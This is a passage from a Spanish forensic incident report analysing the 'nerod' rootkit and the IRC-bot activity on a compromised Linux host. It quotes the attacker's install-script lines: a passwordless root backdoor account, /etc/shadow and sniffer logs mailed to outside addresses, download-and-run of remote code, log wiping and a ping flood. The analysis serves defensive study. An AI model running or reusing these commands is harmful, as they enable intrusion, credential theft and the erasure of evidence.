    echo "non-sysv init system, installation aborted" >>install.log
    /etc/rc.d/init.d/syslog start >>install.log 2>&1
    exit 1
fi

if [ ! -x /usr/bin/md5sum ]; then
    echo "${cl}${hred}Argh!! .. md5sum not found${cl}${wht}"
    echo "${cl}${hred}Installation aborted.${cl}${wht}"
    echo "md5sum not found on the system, installation aborted"
>>install.log
    /etc/rc.d/init.d/syslog start >>install.log 2>&1
    exit 1
fi
```

Seguidamente se copian y camufla los ficheros `.1proc .1addr .1file` y `.1logz` como dispositivos en `/dev`

```
cp -f .1proc /dev/ttyop
cp -f .1addr /dev/ttyoa
cp -f .1file /dev/ttyof
cp -f .1logz /dev/ttyos
```

Si se analizan los contenidos de los ficheros, se tiene lo siguiente:

Fichero	***Contenido***	***Comentario***
.1proc	Nombres de procesos (ssh, etc)	Posiblemente, nombres de procesos a ocultar por ps, etc
.1addr	Numeros de puerto y direcciones IP	Puertos y direcciones IP a ocultar (seguramente por netstat modificado...)
.1file	Nombres de fichero	Nombres de fichero a ocultar (entre ellos están los propios /dev/ttyop, etc)
.1logz	Nombres en general	Nombres a ocultar en los ficheros de log

Tabla III.2. Ficheros de configuración de los programas “troyanos”

Nota: el formato de los ficheros y su utilidad puede consultarse más detalladamente en los fuentes de Linux rootkit V (de donde parece haberse tomado el núcleo fundamental de este rootkit)

A continuación cambia las fechas de los programas que se van a tocar...

```
touch -acmr /etc/rc.d/init.d/atd atd.init >>install.log 2>&1
touch -acmr /etc/rc.d/init.d/syslog syslogd.init >>install.log 2>&1
. . .
```

La fecha que se pone a los nuevos archivos es la actual, lo que va bien para ocultar los ficheros en sistemas que tienen mucho trasiego de administración. En el caso del sistema

que estamos tratando, las fechas utilizadas no han contribuido precisamente a hacer pasar desapercibidos los archivos modificados.

Seguidamente se instalan una serie de versiones "modificadas" de ficheros del sistema:

```
echo "${cl}${cyn}|${cl}${hcyn}= ${cl}${hwht}Installing trojaned
programs...${cl}${wht}"
echo "${cl}${cyn}|${cl}${hcyn}--- ${cl}${wht}chsh"
chmod +s chsh
cp -f chsh /usr/bin/chsh >>install.log 2>&1

echo -n "${cl}${cyn}|${cl}${hcyn}--- ${cl}${wht}ps"
echo -n "ps " >>install.log
if [ ! "$(2>&1 ./ps >/dev/null)" ]; then
  if [ ! -x /bin/lps ]; then
    mv -f /bin/ps /bin/lps >>install.log 2>&1
    if [ -x /bin/.ps ]; then
      cp -f /bin/.ps /bin/lps >>install.log 2>&1
    fi
  fi

. . .
```

Concretamente, en la tabla siguiente se muestran los ficheros instalados:

Grupo 1: Versiones "Troyano" de órdenes del sistema	
Orden	***Comentario***
ps	Oculta los nombres de los procesos que deben ejecutarse en la oscuridad (por ejemplo lsniffer, el sniffer que se instala en este rootkit)
top	Igual que en el caso anterior, esta versión modificada ocultará procesos
pstree	Idem que los dos anteriores
ls	Probablemente ocultará los nombres de fichero incluidos en .1filez (instalado en /dev/ttyof)
dir,vdir	dir y vdir listan los contenidos de los directorios. Al igual que en el caso de ls su comportamiento dependerá de .1filez
killall	killall se ocupa de matar todos los procesos al hacer un shutdown del sistema. Se instala esta versión modificada para evitar que aparezcan los nombres de los procesos del rootkit
find	Se modifica para evitar que puedan encontrarse ficheros sospechosos utilizando esta herramienta
du	La sustitución de du permite falsear el tamaño de los ficheros contenidos en un directorio y dificultar la localización de ficheros nuevos. La copia original se guarda en /usr/include/rpcsvc
netstat	La versión modificada permite ocultar conexiones de red
syslogd	Se instala una versión modificada de syslogd. Permite que el sistema siga generando ficheros de log, pero evitando que aparezcan en el las entradas que no "interesan"
ifconfig	La versión modificada evita que se detecte si las tarjetas ethernet están en modo promiscuo. Permite ejecutar un sniffer sin que sea detectado. La

Grupo 1: Versiones "Troyano" de órdenes del sistema	
Orden	***Comentario***
	copia de seguridad la guarda en /usr/include/rpsvce/ifcfg
shad	Herramienta para "ocultar" los procesos que arranca el rootkit
login	Modificación del programa login para habilitar puertas traseras
wp	WIPE, herramienta para limpiar los ficheros de log wtmp/utmp/lastlog, sin que queden rastros identificables
md5db	Puerta trasera con autentificación mediante MD5. Se copia al sistema con el nombre atd, de manera que se inicia camuflado con ese nombre desde los scripts init.d
clean	Aplicación para limpiar los ficheros de log
atd.init	Script de inicialización de atd. Se copia a /etc/init.d/atd
sshd	Versión modificada del daemon sshd para habilitar una puerta trasera

Tabla III.3. Versiones "troyano" de ficheros del sistema

Este primer grupo de aplicaciones instaladas por el *rootkit* constituyen versiones "troyanas" de órdenes del sistema operativo, destinadas a ocultar los programas instalados por el *rootkit*, así compo procesos iniciados por el mismo. Así, las modificaciones de *ps*, *pstree*, *top*, *killall* y la aplicación *shad* van destinadas a hacer ilocalizables los procesos que se están ejecutando. El fichero de configuración que controla los procesos a ocultar es `.1proc` (instalado en `/dev/ttyop`). Las modificaciones de *syslogd*, así como las aplicaciones *wp* y *clean* van destinadas a "controlar" los ficheros de log, evitando entradas que puedan delatar la presencia del *rootkit*. El fichero de configuración que utilizan es `.1logz` (instalado en `/dev/ttyos`)
Las modificaciones de *ls*, *du* y *find* están destinadas a ocultar los archivos copiados por el rootkit; y el archivo de configuración que controla los archivos a ocultar es `.1filez` (instalado en `/dev/ttyof`). Las modificacion de *ifconfig* va destinada a ocultar interfaces de red en modo promiscuo (lo que daría pistas de que hay instalado un *sniffer*). La versión troyana de *netstat* oculta conexiones de red, según el archivo de configuración `.1addr` (instalado bajo el nombre `/dev/ttyoa`). Finalmente, las modificaciones de *login*, *chsh* más la aplicación *md5bd* (instalado como `/sbin/atd`, e iniciado por `/etc/init.d/atd`, script que se encuentra originalmente como `/var/ftp/nerod/atd.init`) proporcionan puertas traseras para acceder al ordenador atacado. Además de éstas, se se ha introducido "a mano" otra puerta trasera más, pensada para ser utilizada conjuntamente con el dameon modificado *sshd*:

```
echo 0 >> /etc/securetty; echo 1 >> /etc/securetty
echo 2 >> /etc/securetty; echo 3 >> /etc/securetty
echo ssh:x:0:0:root:/root:/bin/bash >> /etc/passwd
echo ssh::11895:0:99999:7::: >> /etc/shadow
```

En las líneas anteriores modifica *securetty*, con la intención de habilitar la entrada directa como root desde terminales remotos, y añade una entrada con nombre de usuario *ssh* y UID 0 (privilegios de root) sin password a los ficheros `/etc/passwd` y `/etc/shadow`.

Es de destacar tambien el envío del fichero `/etc/shadow` con los passwords encriptados por e-mail:

```
cat /etc/shadow|mail -s valissh nightman@myplace.com
```

En una segunda fase, se instalan aplicaciones destinadas a lanzar ataques de denegación del servicio (DoS) contra otros ordenadores:

```
echo "${cl}${cyn}|${cl}${hcyn}= ${cl}${hwht}Installing DoS
programs...${cl}${wht}"
echo "${cl}${cyn}|${cl}${hcyn}--- ${cl}${wht}vadim"
cp -f vadim /usr/bin >>install.log 2>&1
echo "${cl}${cyn}|${cl}${hcyn}--- ${cl}${wht}imp"
cp -f imp /usr/bin >>install.log 2>&1
echo "${cl}${cyn}|${cl}${hcyn}--- ${cl}${wht}slice"
cp -f slice /usr/bin >>install.log 2>&1
echo "${cl}${cyn}|${cl}${hcyn}--- ${cl}${wht}sl2"
cp -f sl2 /usr/bin >>install.log 2>&1
. . .
```

La Tabla III.4 muestra comentarios sobre estas aplicaciones. Seguidamente, se intala un sniffer, destinado a obtener más passwords de los ordenadores conectados a la misma red local:

```
echo "${cl}${cyn}|${cl}${hcyn}= ${cl}${hwht}Installing
sniffer...${cl}${wht}"
echo "sniffer " >> install.log
if [ ! -d /usr/local/games ]; then
  mkdir -p /usr/local/games >>install.log 2>&1
fi
cp -f linsniffer /usr/local/games/identd >>install.log 2>&1
cp -f sense /usr/local/games/banner >>install.log 2>&1
. . .
```

Grupo 2: Aplicaciones para ataques DoS y sniffers	
Fichero	***Comentario***
vadim	Herramienta que envía paquetes UDP de manera contínua y de tamaño predefinido. No se encuentra incluida en el rootkit (aunque si en el script de instalación), y por ello no se ha instalado
imp	Aplicación para relizar ataques DoS mediante SYN flood (suelen denominarla slice 3). No está incluido en el rootkit y por tanto, no se ha instalado
slice	Aplicación para realizar ataques SYN flood. No aparece en el rootkit, así que no se encuentra instalado
sl2	Realiza un ataque SYN flood sobre la dirección IP de destino usanado paquetes con origen falso. Se puede especificar también un rango de puertos sobre el que realizar el ataque (viene a ser la version 2 de slice). No está en el rootkit.
linsniffer	Sencillo sniffer especialmente indicado para capturar nombres de usuario y passwords. Instalado bajo el nombre `/usr/local/games/identd`
sense	Script en Perl para tratar la información generada por linsniffer. Se encuentra instalado bajo el nombre `/usr/local/games/banner`

Tabla III.4. Aplicaciones DoS y sniffers instalador por el rootkit

A continuación se instala una versión modifcada de *sshd* (comentada anteriormente), se retocan configuraciones de arranque en `/etc/init.d`, añadiendo scripts de inicialización para *xinetd* o *inetd* (dependiendo de cual se encuentre instalado). Sin embargo, no se encuentran esos archivos en `/var/ftp`.

Seguidamente, añade al *crontab*, el contenido del fichero `/var/ftp/nerod/crontab-entry`:

```
0 0 1 * * /sbin/ifconfig |grep inet >/tmp/.log 2>/dev/null;
/bin/hostname -f >>/tmp/.log 2>/dev/null; /usr/local/games/banner
/usr/local/games/tcp.log >>/tmp/.log 2>/dev/null; cat /tmp/.log|mail -s
'tcp.log' suntsfant2@yahoo.com >/dev/null 2>&1; rm -f /tmp/.log
>/dev/null 2>&1
```

Básicamente la tarea añadida al crontab envía el día 1 de cada mes, información sobre el sistema recopilada a partir de *ifconfig*, *hostname*, y el *sniffer* instalado. Esta información se envía por e-mail a la dirección suntsfant2@yahoo.com

A continuación lista los puertos abiertos y comprueba si hay otros *rootkits* instalados

```
echo "${cl}${hgrn}open ports:${cl}${wht}"
if [ -x /usr/sbin/lsof ]; then
    /usr/sbin/lsof|grep LISTEN
else
    /bin/netstat -a|grep LISTEN|grep tcp
fi

echo "${cl}${hgrn}checking for other rootkits:${cl}${wht}"
if [ -d /dev/ida/.inet ]; then
    echo "${cl}${hred}/dev/ida/.inet${cl}${wht}"
fi
. . .
```

El final del script se dedica, fundamentalmente a ocultacion y borrado de huellas. Así, elimina *portmap* del *runlevel 3* y bloquea los puertos que pueden levantar sospechas mediante *ipchains*

```
echo "${cl}${hred} Patching  ${cl}${wht}"
/etc/rc.d/rc3.d/S11portmap stop >>install.log 2>&1
 mv /sbin/portmap /sbin/iportmap
if [ -x /sbin/chkconfig ]; then
 /sbin/chkconfig --del portmap
fi

/sbin/ipchains -A input -p tcp -j ACCEPT -s 127.0.0.1 -d 0.0.0.0/0 111
/sbin/ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d 0.0.0.0/0 111

. . .
```

Copia un script denominado me al directorio `/bin`, y cuya función es cambiarse al directorio `/usr/man/man1/psybnc` y conectar con ftp.geocities.com. En ese directorio debe haber un fichero denominado *get* (que no llega a instalarse, entre otras cosas porque no se encuentra incluido en el *rootkit*)

```
cp me /bin
mkdir /usr/man/man1/psybnc
mv get /usr/man/man1/psybnc
```

A continuación instala una herramienta para intercambio no interactivo de archivos, *wget*

```
rpm -ivh --force ftp://ftp.intraware.com/pub/wget/wget-1_5_3-1_i386.rpm
```

Se manda unos mails con la información del sistema crackeado

```
echo "${cl}${hgrn}Sending mail...wait few minutez${cl}${wht}"
./sysinfo|mail -s 'r00t la 80' frumosu99us@yahoo.com
./sysinfo|mail -s 'inca un r00t frate :))))))))' nightman@myplace.com"
```

Inicia syslog parcheado

```
/etc/rc.d/init.d/syslog start >>install.log 2>&1
```

Vacía los ficheros de log

```
echo >/var/log/messages
echo >/var/log/boot.log
echo >/var/log/cron
echo >/var/log/secure
echo >/var/log/maillog
```

Vuelve a poner atributos a los ficheros modificados

```
chattr +i /etc/rc.d/init.d/sshd /etc/rc.d/init.d/inet
/etc/rc.d/init.d/functions /etc/rc.d/init.d/atd /usr/bin/chsh
>>install.log 2>&1
chattr +i /usr/local/sbin/sshd /bin/ps /bin/netstat /bin/login /bin/ls
/usr/bin/du /usr/bin/find >>install.log 2>&1
chattr +i /usr/sbin/atd /usr/bin/pstree /usr/bin/killall /usr/bin/top
/sbin/fuser /sbin/ifconfig /usr/sbin/syslogd >>install.log 2>&1
chattr +i /sbin/syslogd >>install.log 2>&1
```

A continuación descarga, compila y ejecuta un programa con nombre fuente *kel.c* y nombre final *kernel.*

```
lynx -source www.kelets.org/kel.c > kel.c&
sleep 25
gcc -o kernel kel.c

. . .

rm -rf kel.c
. . .
mv kernel /dev/
/dev/./kernel
```

Y finalmente borra las huellas de la instalación del *rootkit*

```
rm -rf nerod
```

```
rm -rf nerod.tar.gz
```

El hecho de que los ficheros de log tengan contenido, y que existan el directorio /var/ftp/nerod y el fichero /var/ftp/nerod.tar.gz significa que el script no se ejecutó hasta el final. En la sección siguiente se observa hasta que punto llegó la instalación del *rootkit*.

III.4.2.- Nivel de compromiso del sistema

Una vista preliminar de /var/ftp/nerod/install.log indica que algunas de las acciones de instalación han fallado. Análogamente, la existencia de ficheros de log y del directorio /var/ftp/nerod indica que no se ha ejecutado el script de instalación del *rootkit* hasta el final. En el apartado siguiente se estudia hasta donde ha llegado la isntalación del *rootkit*.

III.4.2.1.- Nivel de Instalación del rootkit

Inspeccionando el fichero /var/ftp/nerod/install.log y comprobando si se han llevado a cabo las acciones incluidas en el script de instalación /var/ftp/nerod/install, puede verse qué partes del *rootkit* se han instalado con éxito. En la siguiente tabla se resumen qué instalaciones han tenido éxito, y cuales no. En este último caso se especifica el por qué del fallo.

Item Instalación	***Estado final***
Cambio de atributos	*Fallo* para /etc/rc.d/init.d/syslogd, /usr/local/sbin/sshd, /usr/lsbin/syslogd y /etc/rc.d/init.d/inet. *Razón*: No existían los ficheros
Desactivación log del kernel	*Éxito*
Desactivación log del sistema	*Éxito*
Instalación ps	*Éxito*
Instalación pstree	*Fallo. Razón*: El archivo no puede ejecutarse en el sistema atacado
Instalación top	*Éxito*
Instalación killall	*Éxito*
Instalación ls	*Éxito*
Instalación dir	*Éxito*
Instalación vdir	*Éxito*
Instalación find	*Éxito*
Instalación du	*Éxito*
Instalación netstat	*Éxito*
Instalación syslogd	*Éxito*
Instalación ifconfig	*Fallo. Razón*:El archivo no puede ejecutarse en el sistema atacado
Instalación vadim	*Fallo. Razón*: No existe el fichero
Instalación slice	*Fallo. Razón*: No existe el fichero

Item Instalación	*Estado final*
Instalación sl2	*Fallo. Razón*: No existe el fichero
Instalación sniffer	*Éxito*
Inicio de script xinetd	*Fallo. Razón*: No existe el fichero
Inicio de atd	*Éxito*
Eliminación de S11portmap	*Fallo. Razón*: No existe fichero destino
Renombrado de portamap	*Éxito* (existe `/sbin/iportmap`)
Copia de me	*Éxito* (existe `/bin/me`)
Creación de /usr/man/man1/psybnc	*Fallo. Razón*: No existe `/usr/man` (el manual se encuentra instalado bajo `/usr/share/man`)

Tabla III.5. Estado de la instalación de los elementos del rootkit

Según se ha comentado en el apartado anterior, está claro que el script no se ejecuta hasta el final puesto que no se han borrado los ficheros de log ni el directorio `/var/ftp/nerod` ni el archivo `/var/ftp/nerod.tar.gz`. Para determinar hasta donde ha llegado el *rootkit* se va a realizar un análisis detallado de las líneas siguientes:

```
rpm -ivh --force ftp://ftp.intraware.com/pub/wget/wget-1_5_3-1_i386.rpm
```

La existencia de `/etc/wgetrc`, creado a las 00:25:44 lleva a pensar que la línea anterior se ha ejecutado. A continuación vienen unas líneas que recopilan información sobre el sistema (`/var/ftp/nerod/sysinfo` es un script que se comenta en III.4.2.2) y se envía dicha información por e-mail:

```
echo "${cl}${hgrn}Sending mail...wait few minutez${cl}${wht}"
./sysinfo|mail -s 'r00t la 80' frumosu99us@yahoo.com
./sysinfo|mail -s 'inca un r00t frate :)))))))))' nightman@myplace.com"
```

La siguiente línea inicia el nuevo syslogd, y general la entrada correspondiente en `/var/ftp/nerod/install.log`. Puesto que esa entrada no existe, parece que esta línea no llegó a ejecutarse.

```
/etc/rc.d/init.d/syslog start >>install.log 2>&1
```

Las líneas siguientes, ya tenemos constancia de que no se han ejecutado:

```
echo >/var/log/messages
echo >/var/log/boot.log
. . .
```

Así, un problema en la ejecución del script `/var/ftp/nerod/sysinfo` y su posterior envío por e-mail debió causar que el script de instalación no llegara hasta el final.

Resultan también interesantes los mensajes finales, en un idioma poco conocido. Investigando un poco, se llega a la conclusión de que es rumano, por lo que el autor del *rootkit* debe ser de esa nacionalidad.

III.4.2.2.- Estudio del script de información del sistema `/var/ftp/nerod/sysinfo`

El script de recopilación de información del sistema realiza básicamente cuatro tipos de tareas:

a) En las primeras líneas recopila información acerca de las dirección IP, nombre de host, versión del Sistema Operativo atacado, tipo de CPU, velocidad de la misma, RAM instalada, discos duros, puertos abiertos etc.

b) Recopila la información contenida en los ficheros `/etc/passwd` y `/etc/shadow`

c) Busca ficheros "interesantes", es decir, archivos de video, musica y software

d) Busca información que pudiera existir sobre tarjetas de crédito.

Toda la información recogida por este script es posteriormente enviada por e-mail. Parece ser que las líneas del script de instalación `/var/ftp/nerod/install` que llaman a este script son las que no llegaron a completarse y causaron la parada del script de instalación. Un análisis más detallado de `sysinfo` revela que las líneas destinadas a recopilar información sobre tarjetas de crédito ejecutan un egrep recursivo:

```
egrep -ir 'mastercard|visa' /home
egrep -ir 'mastercard|visa' /root
if [ -d /www ]; then
    egrep -ir 'mastercard|visa' /www
fi
echo "Done." >/dev/stderr
```

que puede ocasionar muchos problemas, especialmente en caso de existir bucles con links simbólicos. Pruebas realizadas del *egrep* sobre el directorio `/root` demuestran que, en efecto, el proceso se queda bloqueado y no termina. Ahí tenemos la razón de que el script de instalación no terminara de ejecutarse.

III.5.- Estudio de la partición de swap

La parada de los servicios de log nos dejan prácticamente sin información de lo que ocurrió tras la instalación del *rootkit*. Una revisión del contenido de la partición de swap puede proporcionar información de qué ocurrió en la memoria del sistema a partir de ese momento. Nuevamente, se van a utilizar herramientas básicas del sistema para el análisis, continuando con el enfoque didáctico que se ha querido dar a este informe. Usando el editor '*vi*', y buscando distintos tipos de cadenas, se pueden obtener salidas de log generadas en memoria por los distintos daemons. A continuación se muestran algunas de estas cadenas, que se han considerado de interés:

Envío de un e-mail a las 00:25:13, puede ser debido a algún error provocado por el *rootki*t o uno de los e-mails originados por el mismo

```
Aug 23 00:25:13 sendmail[7119]: g7MMPCs07119: from=root, size=839,
class=0, nrcpts=1,
msgid=<200208222225.g7MMPCs07119@localhost.localdomain>,
relay=root@localhost
```

Mensajes generados por el inicio de xinetd como consecuencia del arranque provocado por el rootkit:

```
Aug 23 00:25:15 xinetd[7187]: Reading included configuration file:
/etc/xinetd.d/chargen [line=14]
Aug 23 00:25:15 xinetd[7187]: Reading included configuration file:
/etc/xinetd.d/finger [line=15]
Aug 23 00:25:18 xinetd: xinetd startup failed
...
```

Modificación del crontab (`efectuada por el script /var/ftp/nerod/install`):

```
Aug 23 00:25:19 crontab[7216]: (root) REPLACE (operator)
```

Nuevo envío de un email:

```
Aug 23 00:26:05 sendmail[7358]: g7MMQ5J07358: from=root, size=4397,
class=0, nrcpts=1,
msgid=<200208222226.g7MMQ5J07358@localhost.localdomain>,
relay=root@localhost
```

Se añade el usuario nerod, evento del que no teníamos constancia de la hora exacta. Se observa que el cracker lo hizo "a mano" mediante la orden *adduser*:

```
Aug 23 00:27:09 adduser[7397]: new group: name=nerod, gid=501
```

Termina la sesión ftp con pid 7049, que sabíamos que había empezado a las 00:21:04 (Véase II.1.3, estudio de `/var/log/secure`):

```
Aug 23 00:38:01 xinetd[812]: EXIT: ftp pid=7049 duration=1017(sec)
```

A las 00:56, tal y como sabíamos del estudio de `/etc`, se elimina el usuario ftp mediante la orden *userdel*

```
Aug 23 00:56:39 userdel[7412]: delete user `ftp'
```

Se establece nuevas sesiones ftp:

```
Aug 23 07:53:46 xinetd[812]: EXIT: ftp pid=7815 duration=1(sec)
Aug 23 07:53:46 ftpd[7815]: FTP session closed
```

Nuevos intentos de ataque, ahora sobre sshd, tenemos una nueva dirección IP para rastrear

```
Aug 23 08:18:37 sshd[7836]: Did not receive identification string from
204.6.211.115
Aug 23 08:18:37 sshd[7837]: scanned from 204.6.211.115 with SSH-1.0-
SSH_Version_Mapper
ug 23 09:18:34 sshd[649]: Generating new 768 bit RSA key.
Aug 23 09:18:36 sshd[649]: RSA key generation complete.
```

El root legítimo entra al sistema, también lo sabíamos del estudio de /var/log/wtmp (Apartado II.3.4):

```
Aug 23 12:33:21 login[818]: ROOT LOGIN on `tty1'
```

Y ahora, cosas más interesantes: Accesos IRC a servidores de undernet.org con el nick NeRoD y a canales como #hackeri:

```
H.us.undernet.org 353 NeRoD = #hackeri :X_cite DdDdDdDdD AmComis`o
SoriLove cnnch BbBbBbBbB dope|man Lady`oFF CiPriaN PuiDe[sg] Ady`
TheRidDLe TheSlayer AdyLover the_boy Scumpelu Man^Echin SnaK3 AdyJp
\xc0^K^@^@^X^@^@^@^P\x89^Q^H\xc8\x88^Q^H^@^@^@^@^@^@^@^@^@^@^@I^@^@^@\
x88L^L^H\x88L^L^H.us.undernet.org 366 NeRoD
#hackeri :End of /NAMES list.
^L^@^@^X^@^@^@X\x89^Q^H(\x89^Q^H^@^@^@^@^@^@^@^@^@^@^@1^@^@^@\xe0\x87^
O^HpL^L^Heorge@80.96.68.71 JOIN
:#linuxvrh^L^@^@^X^@^@^@^X\x8a^Q^Hp\x89^Q^H^@^@^@^@^@^@^@^@^@^@^@\xa9^
@^@^@\xe8L^L^H\xe8L^L^H.us.undernet.org 332 NeRoD #linuxvr :^C3Welcome
To #linuxVR, The Official *linux* Help Channel! Open 24hrs/day since
\xb2\xba\xba\xba ( enjoy it and no stress! )
^@^@^@(^M^@^@^X^@^@^@\x90\x8b^Q^H0\x8a^Q^H^@^@^@^@^@^@^@^@^@^@^@a^A^@^
@\xa0M^L^H\xa0M^L^H.us.undernet.org 353 NeRoD = #linuxvr :NeRoD NeRoD`
NeRoD``` Slepping fLirty CoMmAnD hngeIalig BSD- KDE- fabricio xiedotcom
sun- +NeRoD`` centaurus @DarKSTaR^ rico @cachorra ChAp0Lim chikim-
+badboy-` PluNaoTa` zero_cool destruct SirKronos hacking @D0mFErNA0 @X
Microsoft @G|n|0|m|0 TeXaS`0ff WarGod @SnOwRu|eZ s`afk sT|Ng chic0zz
^@^@^@^@\xa0^N^@^@^X^@^@^@\xf0\x8b^Q^H\xa8\x8b^Q^H^@^@^@^@^@^@^@^@^@^@
^@I^@^@^@\x88L^L^H\x88L^L^H.us.undernet.org 366 NeRoD #linuxvr :End of
/NAMES
list.^@^O^@^@^X^@^@^@8\x8c^Q^H^H\x8c^Q^H^@^@^@^@^@^@^@^@^@^@^@1^@^@^@\
xe0\x87^O^HpL^L^Heorge@80.96.68.71 JOIN
:#half_bbH^O^@^@^X^@^@^@\xc0\x8c^Q^HP\x8c^Q^H^@^@^@^@^@^@^@^@^@^@^@q^@
^@^@\xb0L^L^H\xb0L^L^H.us.undernet.org 332 NeRoD #half_bb :^B^C0,4Eu
Vreau Sa Ii Sug Pula La NeRoD Are Cineva Treaba?
```

Ya sabemos la razón de que el *rootkit* se denomine nerod, es el nick que utiliza el cracker que ha realizado el ataque. Otro extracto de cadenas de la partición de swap nos muestra lo siguiente:

```
Fri Aug 23 01:17:41 :Loading all Users..
Fri Aug 23 01:17:41 :No Users found.
Fri Aug 23 01:18:47 :connect from 80.96.68.72
Fri Aug 23 01:18:47 :New User:George (Sa Imi Sugi Pola Cu Whoisu Tau Cu
Tot Lamere) added by George
Fri Aug 23 01:19:00 :User George () has no server added
Fri Aug 23 01:19:19 :User George () trying mesa.az.us.undernet.org port
6667 ().Fri Aug 23 01:22:28 :User George: cant connect to
mesa.az.us.undernet.org port 6667.
Fri Aug 23 01:22:37 :User George () trying mesa.az.us.undernet.org port
6667 ().Fri Aug 23 01:25:46 :User George: cant connect to
mesa.az.us.undernet.org port 6667.
Fri Aug 23 01:25:55 :User George () trying mesa.az.us.undernet.org port
6667 ().
```

```
Fri Aug 23 01:25:55 :User George () connected to
mesa.az.us.undernet.org:6667 ()Fri Aug 23 03:19:51 :New User:george
(^B^C11,12Protected By Pizda Lui Mata) added by George
Fri Aug 23 03:20:01 :User george () has no server added
Fri Aug 23 03:21:18 :connect from 80.96.68.72
Fri Aug 23 03:21:18 :User George logged in.
Fri Aug 23 03:21:18 :User George disconnected (from 80.96.68.72)
Fri Aug 23 03:21:45 :User george () has no server added
Fri Aug 23 03:21:55 :connect from 80.96.68.72
Fri Aug 23 03:21:56 :User george logged in.
Fri Aug 23 03:22:02 :User george () has no server added
Fri Aug 23 03:22:19 :User george () trying mesa.az.us.undernet.org port
6667 ().Fri Aug 23 03:22:19 :User george () connected to
mesa.az.us.undernet.org:6667 ()Fri Aug 23 03:22:57 :User george () got
disconnected (from mesa.az.us.undernet.org) Reason: Closing Link:
L_U_C_K_Y by mesa.az.us.undernet.org (K-lined)
Fri Aug 23 03:23:16 :User george () trying eu.undernet.org port 6667 ().
Fri Aug 23 03:23:17 :User george () connected to eu.undernet.org:6667 ()
Fri Aug 23 03:23:18 :User george () got disconnected (from
eu.undernet.org) Reason: Closing Link: L_U_C_K_Y by
Haarlem.NL.EU.UnderNet.Org (Too many connections
from your host)
Fri Aug 23 03:23:36 :User george () trying eu.undernet.org port 6667 ().
Fri Aug 23 03:23:36 :User george () connected to eu.undernet.org:6667 ()
Fri Aug 23 03:23:37 :User george () got disconnected (from
eu.undernet.org) Reason: Closing Link: L_U_C_K_Y by
Amsterdam.NL.EU.undernet.org (Too many connections from your host)
Fri Aug 23 03:23:55 :User george () trying eu.undernet.org port 6667 ().
Fri Aug 23 03:23:55 :User george () connected to eu.undernet.org:6667 ()
Fri Aug 23 03:44:23 :User George quitted (from 80.96.68.72)
Fri Aug 23 03:44:38 :User george quitted (from 80.96.68.72)
Fri Aug 23 09:10:23 :User George () got disconnected (from
mesa.az.us.undernet.org) Reason: Closing Link: NeRoD by
mesa.az.us.undernet.org (Ping timeout)
Fri Aug 23 09:10:47 :User George () trying mesa.az.us.undernet.org port
6667 ().Fri Aug 23 09:10:47 :User George () connected to
mesa.az.us.undernet.org:6667 ()Fri Aug 23 09:29:17 :connect from
80.96.68.71
Fri Aug 23 09:37:23 :connect from 80.96.68.71
Fri Aug 23 09:40:19 :User George logged in.
Fri Aug 23 09:40:19 :User George quitted (from 80.96.68.71)
Fri Aug 23 09:47:36 :User george got disconnected from
Stockholm.SE.eu.Undernet.org port 6667.
Fri Aug 23 09:48:02 :User george () trying eu.undernet.org port 6667 ().
Fri Aug 23 09:48:03 :User george () connected to eu.undernet.org:6667 ()
Fri Aug 23 09:49:59 :User George got disconnected from
mesa.az.us.undernet.org port 6667.
Fri Aug 23 09:50:09 :User George () trying mesa.az.us.undernet.org port
6667 ().Fri Aug 23 09:50:10 :User George () connected to
mesa.az.us.undernet.org:6667 ()
```

Estas entradas nos proporcionan la siguiente información:

- Se ha instalado un “bot” de conexión a servidores IRC
- Se utiliza el nick NeRod
- El nombre de usuario usado en el servidor bot es George. La conexión se realiza desde la IP 80.96.68.71, distinta de la utilizada para realizar el ataque. Este ordenador se encuentra en Rumanía, y encaja con el lenguaje utilizado en algunos

comentarios del script `/var/ftp/nerod/install`. Así, el autor del *rootkit* (realmente es una modificación del linux rootkit IV), está utilizando el ordenador atacado para conectarse al IRC. Estos nuevos datos, puesto que no parece que el ordenador atacado sea capaz de enviar emails (basta echar un vistazo a `/etc/sendmail.cf`) nos lleva a suponer que el atacante es de nacionalidad rumana, y que utilizó el ordenador de Perú para llevar a cabo el ataque. Después, cuando el ordenador estaba bajo su control se conectó ya desde IPs de Rumanía para realizar instalaciones y accesos IRC. Incluso puede que algunos de los ataques anteriores usando otras direcciones IP pudieran estar dirigidos por este mismo atacante.

Siguiendo con el análisis del swap, el atacante ha utilizado este ordenador para lanzar algún ataque del tipo ping flood:

```
ping -f -s6000 80.96.22.169
```

Buscando más en la partición de swap, por fin encontramos el bot IRC utilizado:

```
wget www.geocities.com/gavish19/psyBNC.tar.gz
```

El paquete lo descargó utilizando el software *wget* (instalado anteriormente por el *rootkit*). Ahora sólo queda buscar el paquete IRC en las particiones. Concretamente se han encontrado dos paquetes, uno en `/var/tmp/.,/psybnc` y el otro en `/var/tmp/.,/emech`. Los ejecutables de ambos se encuentran renombrados a *httpd* con la intención de que los procesos pasen desapercibidos

Un análisis de los ficheros de los fuentes, ficheros de log, etc, muestra que se trata de un paquete para mantener conexiones permanentes a servidores IRC para un determinado nick. Hay dos usuarios definidos, George y adrian, y se conectan a distintos servidores IRC. El nick usado es NeRoD, y la última conexión, mirando nuevamente en la partición de swap tuvo lugar a las 15:31:

```
Fri Aug 23 15:31:48 :User adrian () trying mes
```

El que el mensaje aparezca truncado puede deberse a que en ese momento se apagara el ordenador atacado.

El contenido de esa línea coincide con la última entrada del fichero de log `/var/tmp/.,/psybnc/log/psybnc.log`. De este último fichero, obtenemos una nueva dirección IP: 213.154.99.10, cuyo rastreo se muestra en la Tabla III.6.
El análisis de `/var/tmp/.,/emech/emech.users` nos muestra que adrian y George son el mismo usuario (al menos usan el mismo password). Los canales a los que suelen conectarse son #beton y #beius (vease `/var/tmp/.,/emech/emech.session`).

Finalmente, y por curiosidad, se muestra una de las órdenes ejecutadas para sacar las imágenes de las particiones, por parte del usuario pepelu (usuario legítimo del sistema)

```
cat /dev/hda6 | ncftpput -u pepelu -c  -p x 192.168.3.14 192.168.3.10-
hda6.dd
```

A continuación se muestra el rastreo de las nuevas direcciones IP descubiertas:

IP	*Comentario*	*NIC responsable*	*Dominio*	*Entidad responsable*	*email abusos*	*País*
204.6.211.115	Intento de ataque sobre sshd	ARIN	psi.net	PSI	abuse@cogentco.com	EEUU
80.96.68.71 80.96.68.72	Conexión atacante para acceso IRC	RIPE	rnc.ro	SC-ADO-NET-SRL	hostmaster@rnc.ro	Rumanía
